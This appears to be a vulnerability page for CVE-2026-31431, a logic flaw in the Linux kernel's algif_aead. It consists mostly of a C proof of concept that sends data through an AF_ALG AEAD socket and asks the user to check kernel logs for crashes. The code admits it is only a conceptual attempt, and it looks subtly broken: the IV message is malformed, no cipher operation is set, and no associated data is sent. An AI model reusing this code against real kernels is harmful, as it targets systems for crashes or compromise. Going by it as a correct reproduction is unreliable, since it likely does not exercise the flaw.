CVE-2026-31431 Linux内核algif_aead逻辑错误漏洞

/** * PoC for CVE-2026-31431 * This is a conceptual reproduction attempt targeting algif_aead. * It attempts to trigger the in-place operation logic by sending * data via AF_ALG socket. * Compilation: gcc -o poc_cve2026_31431 poc_cve2026_31431.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define BUFFER_SIZE 32 int main() { int fd; int alg_fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "gcm(aes)" // Example AEAD algorithm }; char key[BUFFER_SIZE] = "0123456789abcdef0123456789abcdef"; char iv[BUFFER_SIZE] = "0123456789abcdef"; char assoc_data[BUFFER_SIZE] = "associated_data"; char plaintext[BUFFER_SIZE] = "secret_plaintext_data"; char out[BUFFER_SIZE * 2]; printf("[+] Creating AF_ALG socket...\n"); fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (fd == -1) { perror("socket"); return -1; } printf("[+] Binding to algif_aead...\n"); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == -1) { perror("bind"); close(fd); return -1; } printf("[+] Setting key...\n"); if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) == -1) { perror("setsockopt"); close(fd); return -1; } printf("[+] Accepting connection...\n"); alg_fd = accept(fd, NULL, 0); if (alg_fd == -1) { perror("accept"); close(fd); return -1; } struct msghdr msg = {}; struct iovec iov; char cmsg_buf[CMSG_SPACE(sizeof(iv))]; struct cmsghdr *cmsg; // Setup IV memset(cmsg_buf, 0, sizeof(cmsg_buf)); cmsg = (struct cmsghdr *)cmsg_buf; cmsg->cmsg_len = CMSG_LEN(sizeof(iv)); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_IV; memcpy(CMSG_DATA(cmsg), iv, sizeof(iv)); msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); // Setup Associated Data and Plaintext // Note: Real exploit requires specific memory layout to trigger the bug iov.iov_base = plaintext; iov.iov_len = sizeof(plaintext); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("[+] Sending data to trigger potential path...\n"); ssize_t len = sendmsg(alg_fd, &msg, 0); if (len < 0) { perror("sendmsg"); } else { printf("[+] Sent %zd bytes. Check kernel logs for crashes.\n", len); } close(alg_fd); close(fd); return 0; }